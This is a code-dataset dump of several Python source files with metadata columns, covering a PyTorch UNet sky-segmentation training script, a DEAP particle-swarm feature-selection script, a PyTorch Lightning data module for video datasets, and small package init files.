for name, param in net.named_parameters():
writer.add_histogram(name + '_grad', param.grad, epoch)
writer.add_histogram(name + '_data', param, epoch)
###################################################################################################################
# 可视化
# valid_dir = os.path.join(BASE_DIR, "../../..", "data", "PortraitDataset", "valid")
# valid_set = SkyDataset(valid_dir)
# valid_loader = DataLoader(valid_set, batch_size=1, shuffle=True, drop_last=False)
net.eval()
with torch.no_grad():
for idx, (inputs, labels) in enumerate(valid_loader):
if idx > vis_num:
break
if torch.cuda.is_available():
inputs, labels = inputs.to(device), labels.to(device)
outputs = net(inputs)
pred = outputs.ge(mask_thres)
mask_pred = outputs.ge(0.5).cpu().data.numpy().astype("uint8")
img_hwc = inputs.cpu().data.numpy()[0, :, :, :].transpose((1, 2, 0)).astype("uint8")
plt.subplot(121).imshow(img_hwc)
mask_pred_gray = mask_pred.squeeze() * 255
plt.subplot(122).imshow(mask_pred_gray, cmap="gray")
plt.show()
plt.pause(0.5)
plt.close()
# plot curve
train_x = range(len(train_curve))
train_y = train_curve
train_iters = len(train_loader)
valid_x = np.arange(1, len(
valid_curve) + 1) * train_iters * val_interval # 由于valid中记录的是epochloss,需要对记录点进行转换到iterations
valid_y = valid_curve
plt.plot(train_x, train_y, label='Train')
plt.plot(valid_x, valid_y, label='Valid')
plt.legend(loc='upper right')
plt.ylabel('loss value')
plt.xlabel('Iteration')
plt.title("Plot in {} epochs".format(max_epoch))
plt.show()
# dice curve
train_x = range(len(train_dice_curve))
train_y = train_dice_curve
train_iters = len(train_loader)
valid_x = np.arange(1, len(
valid_dice_curve) + 1) * train_iters * val_interval # 由于valid中记录的是epochloss,需要对记录点进行转换到iterations
valid_y = valid_dice_curve
plt.plot(train_x, train_y, label='Train')
plt.plot(valid_x, valid_y, label='Valid')
plt.legend(loc='upper right')
plt.ylabel('dice value')
plt.xlabel('Iteration')
plt.title("Plot in {} epochs".format(max_epoch))
plt.show()
torch.cuda.empty_cache()
| import os
import time
import torch.nn as nn
import torch
import numpy as np
import torchvision.transforms as transforms
from PIL import Image
from torch.utils.data import DataLoader
from matplotlib import pyplot as plt
import torch.optim as optim
import torchvision.models as models
from tools.common_tools import set_seed
from torch.utils.tensorboard import SummaryWriter
from tools.my_dataset import SkyDataset
from tools.unet import UNet
from tools.LovaszLoss import lovasz_hinge
from torch.utils.data import SubsetRandomSampler
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
set_seed() # 设置随机种子
def compute_dice(y_pred, y_true):
"""
:param y_pred: 4-d tensor, value = [0,1]
:param y_true: 4-d tensor, value = [0,1]
:return: Dice index 2*TP/(2*TP+FP+FN)=2TP/(pred_P+true_P)
"""
y_pred, y_true = np.array(y_pred), np.array(y_true)
y_pred, y_true = np.round(y_pred).astype(int), np.round(y_true).astype(int)
return np.sum(y_pred[y_true == 1]) * 2.0 / (np.sum(y_pred) + np.sum(y_true))
if __name__ == "__main__":
# config
LR = 0.01
BATCH_SIZE = 20
max_epoch = 200 # 400
start_epoch = 0
lr_step = 100
val_interval = 1
checkpoint_interval = 20
vis_num = 10
mask_thres = 0.5
# Tensorboard计数
iter_count = 0
logdir = './test7_hsv_lovasz_1e-2'
writer = SummaryWriter(log_dir=logdir)
##########预训练与否#############
pretrained = False
checkpoint_load = 'test5_lovasz_1e-2/bestdice_min_49.89%_checkpoint_37_epoch.pkl'
trainset_path = os.path.join("dataset/trainset")
testset_path = os.path.join("dataset/testset")
#########是否预加载############
if pretrained == False:
checkpoint_load = None
else:
print('Loaded checkpoint from %s.' % checkpoint_load)
# step 1 划分训练集、验证集
trainset = SkyDataset(trainset_path)
testset = SkyDataset(testset_path)
train_loader = DataLoader(trainset, batch_size=BATCH_SIZE,
drop_last=False, shuffle=True)
valid_loader = DataLoader(testset, batch_size=1,
drop_last=False, shuffle=False)
# step 2
net = UNet(in_channels=3, out_channels=1, init_features=32) # init_features is 64 in stander uent
net.to(device)
# step 3
# loss_fn = nn.MSELoss()
loss_fn = lovasz_hinge
# step 4
optimizer = optim.SGD(net.parameters(), momentum=0.9, lr=LR, weight_decay=1e-2)
# scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=lr_step, gamma=0.2)
scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', factor=0.2, patience=10,
verbose=True, threshold=1e-2, threshold_mode='rel',
cooldown=0, min_lr=1e-5, eps=1e-8)
################################################################################################################
if checkpoint_load is not None:
path_checkpoint = checkpoint_load
checkpoint = torch.load(path_checkpoint)
net.load_state_dict(checkpoint['model_state_dict'])
# optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
# start_epoch = checkpoint['epoch']
# scheduler.last_epoch = start_epoch
##################################################################################################################
# step 5
train_curve = list()
valid_curve = list()
train_dice_curve = list()
valid_dice_curve = list()
best_valid = 0
for epoch in range(0, max_epoch):
train_loss_total = 0.
train_dice_total = 0.
print(optimizer.state_dict()['param_groups'][0]['lr'])
net.train()
for iter, (inputs, labels) in enumerate(train_loader):
iter_count += 1
if torch.cuda.is_available():
inputs, labels = inputs.to(device), labels.to(device)
# forward
outputs = net(inputs)
# backward
optimizer.zero_grad()
loss = loss_fn(outputs, labels)
loss.backward()
optimizer.step()
# print
train_dice = compute_dice(outputs.ge(mask_thres).cpu().data.numpy(), labels.cpu())
train_dice_curve.append(train_dice)
train_curve.append(loss.item())
train_loss_total += loss.item()
writer.add_scalar("Train Loss", train_loss_total / (iter + 1), iter_count)
writer.add_scalar("Train Dice", train_dice, iter_count)
print("Training:Epoch[{:0>3}/{:0>3}] Iteration[{:0>3}/{:0>3}] running_loss: {:.4f}, mean_loss: {:.4f} "
"running_dice: {:.4f} lr:{}".format(epoch, max_epoch, iter + 1, len(train_loader), loss.item(),
train_loss_total / (iter + 1), train_dice,
optimizer.state_dict()['param_groups'][0]['lr']))
scheduler.step(train_loss_total / (iter + 1))
if (epoch + 1) % checkpoint_interval == 0:
checkpoint = {"model_state_dict": net.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
"epoch": epoch}
path_checkpoint = os.path.join(logdir, "checkpoint_{}_epoch.pkl".format(epoch))
torch.save(checkpoint, path_checkpoint)
# validate the model
if (epoch + 1) % val_interval == 0:
net.eval()
valid_loss_total = []
valid_dice_total = []
with torch.no_grad():
for j, (inputs, labels) in enumerate(valid_loader):
if torch.cuda.is_available():
inputs, labels = inputs.to(device), labels.to(device)
outputs = net(inputs)
loss = loss_fn(outputs, labels)
valid_loss_total.append(loss.item())
valid_dice = compute_dice(outputs.ge(mask_thres).cpu().data, labels.cpu())
valid_dice_total.append(valid_dice)
valid_loss_mean = sum(valid_loss_total) / len(valid_loader)
valid_dice_mean = sum(valid_dice_total) / len(valid_loader)
valid_curve.append(valid_loss_mean)
valid_dice_curve.append(valid_dice_mean)
valid_dice_min = min(valid_dice_total)
writer.add_scalar("Valid Loss", valid_loss_mean, iter_count)
writer.add_scalar("Valid Dice", valid_dice_mean, iter_count)
writer.add_scalar("Valid Dice Min", valid_dice_min, iter_count)
print("Valid:\t Epoch[{:0>3}/{:0>3}] mean_loss: {:.4f} dice_mean: {:.4f}".format(
epoch, max_epoch, valid_loss_mean, valid_dice_mean))
if valid_dice_min > best_valid:
best_valid = valid_dice_min
checkpoint = {"model_state_dict": net.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
"epoch": epoch}
path_checkpoint = os.path.join(logdir,
"bestdice_min_%.2f%%_checkpoint_%d_epoch.pkl" % (
100 * best_valid, epoch))
torch.save(checkpoint, path_checkpoint)
for name, param in net.named_parameters():
writer.add_histogram(name + '_grad', param.grad, epoch)
writer.add_histogram(name + '_data', param, epoch)
###################################################################################################################
# 可视化
# valid_dir = os.path.join(BASE_DIR, "../../..", "data", "PortraitDataset", "valid")
# valid_set = SkyDataset(valid_dir)
# valid_loader = DataLoader(valid_set, batch_size=1, shuffle=True, drop_last=False)
net.eval()
with torch.no_grad():
for idx, (inputs, labels) in enumerate(valid_loader):
if idx > vis_num:
break
if torch.cuda.is_available():
inputs, labels = inputs.to(device), labels.to(device)
outputs = net(inputs)
pred = outputs.ge(mask_thres)
mask_pred = outputs.ge(0.5).cpu().data.numpy().astype("uint8")
img_hwc = inputs.cpu().data.numpy()[0, :, :, :].transpose((1, 2, 0)).astype("uint8")
plt.subplot(121).imshow(img_hwc)
mask_pred_gray = mask_pred.squeeze() * 255
plt.subplot(122).imshow(mask_pred_gray, cmap="gray")
plt.show()
plt.pause(0.5)
plt.close()
# plot curve
train_x = range(len(train_curve))
train_y = train_curve
train_iters = len(train_loader)
valid_x = np.arange(1, len(
valid_curve) + 1) * train_iters * val_interval # 由于valid中记录的是epochloss,需要对记录点进行转换到iterations
valid_y = valid_curve
plt.plot(train_x, train_y, label='Train')
plt.plot(valid_x, valid_y, label='Valid')
plt.legend(loc='upper right')
plt.ylabel('loss value')
plt.xlabel('Iteration')
plt.title("Plot in {} epochs".format(max_epoch))
plt.show()
# dice curve
train_x = range(len(train_dice_curve))
train_y = train_dice_curve
train_iters = len(train_loader)
valid_x = np.arange(1, len(
valid_dice_curve) + 1) * train_iters * val_interval # 由于valid中记录的是epochloss,需要对记录点进行转换到iterations
valid_y = valid_dice_curve
plt.plot(train_x, train_y, label='Train')
plt.plot(valid_x, valid_y, label='Valid')
plt.legend(loc='upper right')
plt.ylabel('dice value')
plt.xlabel('Iteration')
plt.title("Plot in {} epochs".format(max_epoch))
plt.show()
torch.cuda.empty_cache() | de | 0.291681 | # 设置随机种子 :param y_pred: 4-d tensor, value = [0,1] :param y_true: 4-d tensor, value = [0,1] :return: Dice index 2*TP/(2*TP+FP+FN)=2TP/(pred_P+true_P) # config # 400 # Tensorboard计数 ##########预训练与否############# #########是否预加载############ # step 1 划分训练集、验证集 # step 2 # init_features is 64 in stander uent # step 3 # loss_fn = nn.MSELoss() # step 4 # scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=lr_step, gamma=0.2) ################################################################################################################ # optimizer.load_state_dict(checkpoint['optimizer_state_dict']) # start_epoch = checkpoint['epoch'] # scheduler.last_epoch = start_epoch ################################################################################################################## # step 5 # forward # backward # print # validate the model ################################################################################################################### # 可视化 # valid_dir = os.path.join(BASE_DIR, "../../..", "data", "PortraitDataset", "valid") # valid_set = SkyDataset(valid_dir) # valid_loader = DataLoader(valid_set, batch_size=1, shuffle=True, drop_last=False) # plot curve # 由于valid中记录的是epochloss,需要对记录点进行转换到iterations # dice curve # 由于valid中记录的是epochloss,需要对记录点进行转换到iterations | 2.07253 | 2 |
async_worker/__init__.py | amustafa/async_worker | 1 | 6616198 | from .worker import async_worker, AsyncWorker, AsyncWorkerFunction
| from .worker import async_worker, AsyncWorker, AsyncWorkerFunction
| none | 1 | 1.050323 | 1 | |
PSO-FeatureSelection.py | tsalems/EvolutionaryAlgorithms | 2 | 6616199 | # Particle Swarm Optimization
import math
import operator
import random
from os.path import isfile
import numpy as np
import pandas as pd
from deap import base
from deap import creator
from deap import tools
from sklearn.model_selection import train_test_split, cross_val_score
from sklearn.preprocessing import LabelEncoder
from sklearn.tree import DecisionTreeClassifier
from sklearn.utils import check_random_state, Bunch
def avg(l):
"""
Returns the average between list elements
"""
return sum(l) / float(len(l))
def fetch_datasets(
data_home=None,
filter_data=None,
download_if_missing=True,
random_state=None,
shuffle=True,
verbose=False,
):
# filename = "datasets\\Landsat7neighbour.txt"
# filename = "datasets\\landsatImg.txt"
filename = "datasets\\sat.all.txt"
# filename = "datasets\\ulc.txt"
available = isfile(filename)
df = pd.read_table(filename, header=None, sep=" ")
# df.to_numpy()
# encode labels column to numbers
le = LabelEncoder()
le.fit(df.iloc[:, -1])
y = le.transform(df.iloc[:, -1]) # label
X = df.iloc[:, :-1].to_numpy() # data
# X = df.iloc[:, :-1] # data
if shuffle:
ind = np.arange(X.shape[0])
rng = check_random_state(random_state)
rng.shuffle(ind)
X = X[ind]
y = y[ind]
dataset = Bunch(data=X, target=y)
return dataset
def generate(size, pmin, pmax, smin, smax):
"""
khởi tạo một vị trí ngẫu nhiên và speed ngẫu nhiên cho một particle (hạt)
:param size:
:param pmin:
:param pmax:
:param smin:
:param smax:
:return:
"""
part = creator.Particle(random.uniform(pmin, pmax) for _ in range(size))
part.speed = [random.uniform(smin, smax) for _ in range(size)]
part.smin = smin
part.smax = smax
return part
def updateParticle(part, best, phi1, phi2):
"""
đầu tiên sẽ tính toán speed, sau đó hạn chế các giá trị speed nằm giữa smin và smax,
và cuối cùng là tính toán vị trí particle mới
:param part:
:param best:
:param phi1:
:param phi2:
:return:
"""
u1 = (random.uniform(0, phi1) for _ in range(len(part)))
u2 = (random.uniform(0, phi2) for _ in range(len(part)))
v_u1 = map(operator.mul, u1, map(operator.sub, part.best, part))
v_u2 = map(operator.mul, u2, map(operator.sub, best, part))
part.speed = list(map(operator.add, part.speed, map(operator.add, v_u1, v_u2)))
for i, speed in enumerate(part.speed):
if abs(speed) < part.smin:
part.speed[i] = math.copysign(part.smin, speed)
elif abs(speed) > part.smax:
part.speed[i] = math.copysign(part.smax, speed)
part[:] = list(map(operator.add, part, part.speed))
def getFitness(individual, X, y):
"""
Feature subset fitness function
"""
if individual.count(0) != len(individual):
# get index with value 0
cols = [index for index in range(
len(individual)) if individual[index] == 0]
# get features subset
X_parsed = X.drop(X.columns[cols], axis=1)
X_subset = pd.get_dummies(X_parsed)
# X_subset = X
#
# for col in cols:
# X_subset[col].values[:] = 0
clf = DecisionTreeClassifier()
clf.fit(X_subset, y)
# y_pred_ANN = clf.predict(X_test)
# y_pred = clf.predict(X_subset)
# return accuracy_score(y, y_pred_ANN)
return (avg(cross_val_score(clf, X_subset, y, cv=5)),)
else:
return (0,)
def eaPSO(pop, toolbox, npop, ngen, stats=None,
halloffame=None, verbose=__debug__):
logbook = tools.Logbook()
logbook.header = ["gen", "evals"] + stats.fields
if halloffame is not None:
halloffame.update(pop)
# record = stats.compile(pop)
# logbook.record(gen=0, evals=len(pop), **record)
# if verbose:
# print(logbook.stream)
best = None
# Begin the generational process
for g in range(ngen):
for part in pop:
part.fitness.values = toolbox.evaluate(part)
if not part.best or part.best.fitness < part.fitness: # best fitness cho part
part.best = creator.Particle(part)
part.best.fitness.values = part.fitness.values
if not best or best.fitness < part.fitness: # best fitness cho pop
best = creator.Particle(part)
best.fitness.values = part.fitness.values
for part in pop:
toolbox.update(part, best)
halloffame.update(pop)
# Gather all the fitnesses in one list and print the stats
# Tổng hợp tất cả các fitness trong một list và show số liệu thống kê
logbook.record(gen=g, evals=len(pop), **stats.compile(pop))
# logbook.record(gen=g, evals=len(pop), **stats.compile(halloffame))
if verbose:
print(logbook.stream)
return pop, logbook, best
def evolutionAlgorithm(X, y, n_population, n_generation):
"""
Deap global variables
Initialize variables to use eaSimple
"""
# create individual
creator.create("FitnessMax", base.Fitness, weights=(1.0,))
# creator.create("Individual", list, fitness=creator.FitnessMax)
creator.create("Particle", list, fitness=creator.FitnessMax, speed=list,
smin=None, smax=None, best=None)
# create toolbox
toolbox = base.Toolbox()
# toolbox.register("attr_bool", random.randint, 0, 1)
# toolbox.register("individual", tools.initRepeat,
# creator.Individual, toolbox.attr_bool, len(X.columns))
toolbox.register("particle", generate, size=2, pmin=-6, pmax=6, smin=-3, smax=3)
# toolbox.register("population", tools.initRepeat, list,
# toolbox.individual)
toolbox.register("population", tools.initRepeat, list, toolbox.particle)
toolbox.register("update", updateParticle, phi1=2.0, phi2=2.0)
toolbox.register("evaluate", getFitness, X=X, y=y)
# toolbox.register("evaluate", benchmarks.h1)
# toolbox.register("mate", tools.cxOnePoint)
# toolbox.register("mutate", tools.mutFlipBit, indpb=0.05)
# # toolbox.register("select", tools.selTournament, tournsize=3)
# toolbox.register("select", tools.selNSGA2)
# initialize parameters
pop = toolbox.population(n=n_population)
hof = tools.HallOfFame(n_population * n_generation)
stats = tools.Statistics(lambda ind: ind.fitness.values)
stats.register("avg", np.mean)
stats.register("std", np.std)
stats.register("min", np.min)
stats.register("max", np.max)
# evolution algorithm
pop, log, best = eaPSO(pop, toolbox,
npop=n_population, ngen=n_generation, stats=stats, halloffame=hof,
verbose=True)
# return hall of fame
return hof
def bestIndividual(hof, X, y):
"""
Get the best individual
"""
maxAccurcy = 0.0
for individual in hof:
# if (individual.fitness.values > maxAccurcy):
if individual.fitness.values[0] > maxAccurcy:
maxAccurcy = individual.fitness.values
_individual = individual
_individualHeader = [list(X)[i] for i in range(
len(_individual)) if _individual[i] == 1]
return _individual.fitness.values, _individual, _individualHeader
def main():
# GEN = 1000
# best = None
n_pop = 5
n_gen = 5
satimage = fetch_datasets()
X, y = satimage.data, satimage.target
X_train, X_test, y_train, y_test = train_test_split(X, y, stratify=y, random_state=0)
X_train_df = pd.DataFrame(data=X_train[0:, 0:], ) # values
# index = X_train[1:, 0], # 1st column as index
# columns = X_train[0, 1:]) # 1st row as the column names
X_test_df = pd.DataFrame(data=X_test[0:, 0:], ) # values
X_df = pd.DataFrame(data=X[0:, 0:], )
# get accuracy with all features
# individual = [1 for i in range(X.shape[1])]
individual = [1 for i in range(len(X_df.columns))]
print("Train with all features: \t" +
str(getFitness(individual, X_train_df, y_train)) + "\n")
print("Test with all features: \t" +
str(getFitness(individual, X_test_df, y_test)) + "\n")
# apply genetic algorithm
hof = evolutionAlgorithm(X_train_df, y_train, n_pop, n_gen)
# select the best individual
accuracy, individual, header = bestIndividual(hof, X, y)
print('Best Accuracy: \t' + str(accuracy))
print('Number of Features in Subset: \t' + str(individual.count(1)))
print('Individual: \t\t' + str(individual))
print('Feature Subset\t: ' + str(header))
print("Test with subset features: \t" +
str(getFitness(individual, X_test_df, y_test)) + "\n")
if __name__ == "__main__":
main()
| # Particle Swarm Optimization
import math
import operator
import random
from os.path import isfile
import numpy as np
import pandas as pd
from deap import base
from deap import creator
from deap import tools
from sklearn.model_selection import train_test_split, cross_val_score
from sklearn.preprocessing import LabelEncoder
from sklearn.tree import DecisionTreeClassifier
from sklearn.utils import check_random_state, Bunch
def avg(l):
"""
Returns the average between list elements
"""
return sum(l) / float(len(l))
def fetch_datasets(
data_home=None,
filter_data=None,
download_if_missing=True,
random_state=None,
shuffle=True,
verbose=False,
):
# filename = "datasets\\Landsat7neighbour.txt"
# filename = "datasets\\landsatImg.txt"
filename = "datasets\\sat.all.txt"
# filename = "datasets\\ulc.txt"
available = isfile(filename)
df = pd.read_table(filename, header=None, sep=" ")
# df.to_numpy()
# encode labels column to numbers
le = LabelEncoder()
le.fit(df.iloc[:, -1])
y = le.transform(df.iloc[:, -1]) # label
X = df.iloc[:, :-1].to_numpy() # data
# X = df.iloc[:, :-1] # data
if shuffle:
ind = np.arange(X.shape[0])
rng = check_random_state(random_state)
rng.shuffle(ind)
X = X[ind]
y = y[ind]
dataset = Bunch(data=X, target=y)
return dataset
def generate(size, pmin, pmax, smin, smax):
"""
khởi tạo một vị trí ngẫu nhiên và speed ngẫu nhiên cho một particle (hạt)
:param size:
:param pmin:
:param pmax:
:param smin:
:param smax:
:return:
"""
part = creator.Particle(random.uniform(pmin, pmax) for _ in range(size))
part.speed = [random.uniform(smin, smax) for _ in range(size)]
part.smin = smin
part.smax = smax
return part
def updateParticle(part, best, phi1, phi2):
"""
đầu tiên sẽ tính toán speed, sau đó hạn chế các giá trị speed nằm giữa smin và smax,
và cuối cùng là tính toán vị trí particle mới
:param part:
:param best:
:param phi1:
:param phi2:
:return:
"""
u1 = (random.uniform(0, phi1) for _ in range(len(part)))
u2 = (random.uniform(0, phi2) for _ in range(len(part)))
v_u1 = map(operator.mul, u1, map(operator.sub, part.best, part))
v_u2 = map(operator.mul, u2, map(operator.sub, best, part))
part.speed = list(map(operator.add, part.speed, map(operator.add, v_u1, v_u2)))
for i, speed in enumerate(part.speed):
if abs(speed) < part.smin:
part.speed[i] = math.copysign(part.smin, speed)
elif abs(speed) > part.smax:
part.speed[i] = math.copysign(part.smax, speed)
part[:] = list(map(operator.add, part, part.speed))
def getFitness(individual, X, y):
"""
Feature subset fitness function
"""
if individual.count(0) != len(individual):
# get index with value 0
cols = [index for index in range(
len(individual)) if individual[index] == 0]
# get features subset
X_parsed = X.drop(X.columns[cols], axis=1)
X_subset = pd.get_dummies(X_parsed)
# X_subset = X
#
# for col in cols:
# X_subset[col].values[:] = 0
clf = DecisionTreeClassifier()
clf.fit(X_subset, y)
# y_pred_ANN = clf.predict(X_test)
# y_pred = clf.predict(X_subset)
# return accuracy_score(y, y_pred_ANN)
return (avg(cross_val_score(clf, X_subset, y, cv=5)),)
else:
return (0,)
def eaPSO(pop, toolbox, npop, ngen, stats=None,
halloffame=None, verbose=__debug__):
logbook = tools.Logbook()
logbook.header = ["gen", "evals"] + stats.fields
if halloffame is not None:
halloffame.update(pop)
# record = stats.compile(pop)
# logbook.record(gen=0, evals=len(pop), **record)
# if verbose:
# print(logbook.stream)
best = None
# Begin the generational process
for g in range(ngen):
for part in pop:
part.fitness.values = toolbox.evaluate(part)
if not part.best or part.best.fitness < part.fitness: # best fitness cho part
part.best = creator.Particle(part)
part.best.fitness.values = part.fitness.values
if not best or best.fitness < part.fitness: # best fitness cho pop
best = creator.Particle(part)
best.fitness.values = part.fitness.values
for part in pop:
toolbox.update(part, best)
halloffame.update(pop)
# Gather all the fitnesses in one list and print the stats
# Tổng hợp tất cả các fitness trong một list và show số liệu thống kê
logbook.record(gen=g, evals=len(pop), **stats.compile(pop))
# logbook.record(gen=g, evals=len(pop), **stats.compile(halloffame))
if verbose:
print(logbook.stream)
return pop, logbook, best
def evolutionAlgorithm(X, y, n_population, n_generation):
"""
Deap global variables
Initialize variables to use eaSimple
"""
# create individual
creator.create("FitnessMax", base.Fitness, weights=(1.0,))
# creator.create("Individual", list, fitness=creator.FitnessMax)
creator.create("Particle", list, fitness=creator.FitnessMax, speed=list,
smin=None, smax=None, best=None)
# create toolbox
toolbox = base.Toolbox()
# toolbox.register("attr_bool", random.randint, 0, 1)
# toolbox.register("individual", tools.initRepeat,
# creator.Individual, toolbox.attr_bool, len(X.columns))
toolbox.register("particle", generate, size=2, pmin=-6, pmax=6, smin=-3, smax=3)
# toolbox.register("population", tools.initRepeat, list,
# toolbox.individual)
toolbox.register("population", tools.initRepeat, list, toolbox.particle)
toolbox.register("update", updateParticle, phi1=2.0, phi2=2.0)
toolbox.register("evaluate", getFitness, X=X, y=y)
# toolbox.register("evaluate", benchmarks.h1)
# toolbox.register("mate", tools.cxOnePoint)
# toolbox.register("mutate", tools.mutFlipBit, indpb=0.05)
# # toolbox.register("select", tools.selTournament, tournsize=3)
# toolbox.register("select", tools.selNSGA2)
# initialize parameters
pop = toolbox.population(n=n_population)
hof = tools.HallOfFame(n_population * n_generation)
stats = tools.Statistics(lambda ind: ind.fitness.values)
stats.register("avg", np.mean)
stats.register("std", np.std)
stats.register("min", np.min)
stats.register("max", np.max)
# evolution algorithm
pop, log, best = eaPSO(pop, toolbox,
npop=n_population, ngen=n_generation, stats=stats, halloffame=hof,
verbose=True)
# return hall of fame
return hof
def bestIndividual(hof, X, y):
"""
Get the best individual
"""
maxAccurcy = 0.0
for individual in hof:
# if (individual.fitness.values > maxAccurcy):
if individual.fitness.values[0] > maxAccurcy:
maxAccurcy = individual.fitness.values
_individual = individual
_individualHeader = [list(X)[i] for i in range(
len(_individual)) if _individual[i] == 1]
return _individual.fitness.values, _individual, _individualHeader
def main():
# GEN = 1000
# best = None
n_pop = 5
n_gen = 5
satimage = fetch_datasets()
X, y = satimage.data, satimage.target
X_train, X_test, y_train, y_test = train_test_split(X, y, stratify=y, random_state=0)
X_train_df = pd.DataFrame(data=X_train[0:, 0:], ) # values
# index = X_train[1:, 0], # 1st column as index
# columns = X_train[0, 1:]) # 1st row as the column names
X_test_df = pd.DataFrame(data=X_test[0:, 0:], ) # values
X_df = pd.DataFrame(data=X[0:, 0:], )
# get accuracy with all features
# individual = [1 for i in range(X.shape[1])]
individual = [1 for i in range(len(X_df.columns))]
print("Train with all features: \t" +
str(getFitness(individual, X_train_df, y_train)) + "\n")
print("Test with all features: \t" +
str(getFitness(individual, X_test_df, y_test)) + "\n")
# apply genetic algorithm
hof = evolutionAlgorithm(X_train_df, y_train, n_pop, n_gen)
# select the best individual
accuracy, individual, header = bestIndividual(hof, X, y)
print('Best Accuracy: \t' + str(accuracy))
print('Number of Features in Subset: \t' + str(individual.count(1)))
print('Individual: \t\t' + str(individual))
print('Feature Subset\t: ' + str(header))
print("Test with subset features: \t" +
str(getFitness(individual, X_test_df, y_test)) + "\n")
if __name__ == "__main__":
main()
| vi | 0.298239 | # Particle Swarm Optimization Returns the average between list elements # filename = "datasets\\Landsat7neighbour.txt" # filename = "datasets\\landsatImg.txt" # filename = "datasets\\ulc.txt" # df.to_numpy() # encode labels column to numbers # label # data # X = df.iloc[:, :-1] # data khởi tạo một vị trí ngẫu nhiên và speed ngẫu nhiên cho một particle (hạt) :param size: :param pmin: :param pmax: :param smin: :param smax: :return: đầu tiên sẽ tính toán speed, sau đó hạn chế các giá trị speed nằm giữa smin và smax, và cuối cùng là tính toán vị trí particle mới :param part: :param best: :param phi1: :param phi2: :return: Feature subset fitness function # get index with value 0 # get features subset # X_subset = X # # for col in cols: # X_subset[col].values[:] = 0 # y_pred_ANN = clf.predict(X_test) # y_pred = clf.predict(X_subset) # return accuracy_score(y, y_pred_ANN) # record = stats.compile(pop) # logbook.record(gen=0, evals=len(pop), **record) # if verbose: # print(logbook.stream) # Begin the generational process # best fitness cho part # best fitness cho pop # Gather all the fitnesses in one list and print the stats # Tổng hợp tất cả các fitness trong một list và show số liệu thống kê # logbook.record(gen=g, evals=len(pop), **stats.compile(halloffame)) Deap global variables Initialize variables to use eaSimple # create individual # creator.create("Individual", list, fitness=creator.FitnessMax) # create toolbox # toolbox.register("attr_bool", random.randint, 0, 1) # toolbox.register("individual", tools.initRepeat, # creator.Individual, toolbox.attr_bool, len(X.columns)) # toolbox.register("population", tools.initRepeat, list, # toolbox.individual) # toolbox.register("evaluate", benchmarks.h1) # toolbox.register("mate", tools.cxOnePoint) # toolbox.register("mutate", tools.mutFlipBit, indpb=0.05) # # toolbox.register("select", tools.selTournament, tournsize=3) # toolbox.register("select", tools.selNSGA2) # initialize parameters # evolution algorithm # return hall of fame Get the best individual # if (individual.fitness.values > maxAccurcy): # GEN = 1000 # best = None # values # index = X_train[1:, 0], # 1st column as index # columns = X_train[0, 1:]) # 1st row as the column names # values # get accuracy with all features # individual = [1 for i in range(X.shape[1])] # apply genetic algorithm # select the best individual | 2.425944 | 2 |
DropDtw-Code/data/data_module.py | Crossmdl/Crossmdl | 0 | 6616200 | import os
from torch.utils.data import DataLoader
import pytorch_lightning as pl
from data.loader import LMDB_Folder_Dataset
from data.batching import BatchIdxSampler_Class, flatten_batch
from data.data_utils import dict2tensor
from paths import CT_PATH, COIN_PATH, YC_PATH
class DataModule(pl.LightningDataModule):
def __init__(self, dataset_name, n_cls, batch_size):
super().__init__()
if dataset_name == 'COIN':
folder = COIN_PATH
elif dataset_name == 'YouCook2':
folder = YC_PATH
elif dataset_name == 'CrossTask':
folder = CT_PATH
else:
raise f"No such dataset {dataset_name}"
self.lmdb_path = os.path.join(folder, 'lmdb')
self.n_cls = n_cls
self.batch_size = batch_size
self.train_dataset = LMDB_Folder_Dataset(self.lmdb_path, split='train', transform=dict2tensor)
self.val_dataset = LMDB_Folder_Dataset(self.lmdb_path, split='val', transform=dict2tensor)
self.test_dataset = LMDB_Folder_Dataset(self.lmdb_path, split='test', transform=dict2tensor)
print(len(self.train_dataset), len(self.val_dataset))
def train_dataloader(self):
batch_idx_sampler = BatchIdxSampler_Class(self.train_dataset, self.n_cls, self.batch_size)
train_loader = DataLoader(self.train_dataset, batch_sampler=batch_idx_sampler,
collate_fn=flatten_batch, num_workers=32)
return train_loader
def val_dataloader(self):
val_loader = DataLoader(self.val_dataset, collate_fn=flatten_batch, num_workers=32)
return val_loader
def test_dataloader(self):
val_loader = DataLoader(self.test_dataset, collate_fn=flatten_batch, num_workers=32)
return val_loader | import os
from torch.utils.data import DataLoader
import pytorch_lightning as pl
from data.loader import LMDB_Folder_Dataset
from data.batching import BatchIdxSampler_Class, flatten_batch
from data.data_utils import dict2tensor
from paths import CT_PATH, COIN_PATH, YC_PATH
class DataModule(pl.LightningDataModule):
def __init__(self, dataset_name, n_cls, batch_size):
super().__init__()
if dataset_name == 'COIN':
folder = COIN_PATH
elif dataset_name == 'YouCook2':
folder = YC_PATH
elif dataset_name == 'CrossTask':
folder = CT_PATH
else:
raise f"No such dataset {dataset_name}"
self.lmdb_path = os.path.join(folder, 'lmdb')
self.n_cls = n_cls
self.batch_size = batch_size
self.train_dataset = LMDB_Folder_Dataset(self.lmdb_path, split='train', transform=dict2tensor)
self.val_dataset = LMDB_Folder_Dataset(self.lmdb_path, split='val', transform=dict2tensor)
self.test_dataset = LMDB_Folder_Dataset(self.lmdb_path, split='test', transform=dict2tensor)
print(len(self.train_dataset), len(self.val_dataset))
def train_dataloader(self):
batch_idx_sampler = BatchIdxSampler_Class(self.train_dataset, self.n_cls, self.batch_size)
train_loader = DataLoader(self.train_dataset, batch_sampler=batch_idx_sampler,
collate_fn=flatten_batch, num_workers=32)
return train_loader
def val_dataloader(self):
val_loader = DataLoader(self.val_dataset, collate_fn=flatten_batch, num_workers=32)
return val_loader
def test_dataloader(self):
val_loader = DataLoader(self.test_dataset, collate_fn=flatten_batch, num_workers=32)
return val_loader | none | 1 | 2.466993 | 2 | |
app/main/__init__.py | tonyguthiga/blog | 0 | 6616201 | from flask import Blueprint
main = Blueprint('main',__name__)
from . import views,errors
# Adding the Permission class to the template context
# @main.app_context_processor
# def inject_permissions():
# return dict(Permission=Permission) | from flask import Blueprint
main = Blueprint('main',__name__)
